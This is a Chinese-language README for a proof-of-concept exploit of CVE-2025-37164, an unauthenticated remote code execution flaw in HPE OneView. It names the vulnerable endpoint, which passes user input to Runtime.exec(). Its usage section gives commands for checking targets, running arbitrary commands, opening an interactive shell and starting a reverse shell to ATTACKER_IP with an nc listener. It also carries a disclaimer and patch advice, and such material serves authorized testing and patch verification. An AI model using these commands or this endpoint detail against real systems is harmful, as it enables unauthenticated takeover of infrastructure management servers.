CVE-2025-37164 - HPE OneView 未认证 RCE PoC

这是 CVE-2025-37164 的概念验证（PoC）利用程序，该漏洞是 HPE OneView 中的一个严重（CVSS 10.0）未认证远程代码执行漏洞。

免责声明

本软件仅供教育和授权安全测试目的使用。

• 仅可在您拥有或已获得明确书面许可的系统上使用
• 未经授权访问计算机系统属于违法行为
• 作者不对因使用本工具而造成的任何滥用或损害负责
• 本工具用于受控环境中的防御性安全研究和渗透测试

漏洞详情

• CVE ID：CVE-2025-37164
• CVSS 分数：10.0（严重）
• 厂商：Hewlett Packard Enterprise (HPE)
• 产品：HPE OneView（11.0 之前版本）
• 类型：未认证远程代码执行
• 补丁：升级到 HPE OneView 11.0 或更高版本

技术分析：该漏洞存在于 PUT /rest/id-pools/executeCommand 端点中，该端点无需认证，并将用户控制的输入直接传递给 Runtime.exec()。

先决条件

• Python 3.6+
• requests 库（pip install requests）
• 存在漏洞的 HPE OneView 实例（已启用 'id pools' 功能）

使用方法

# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check

# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"

# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i

# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444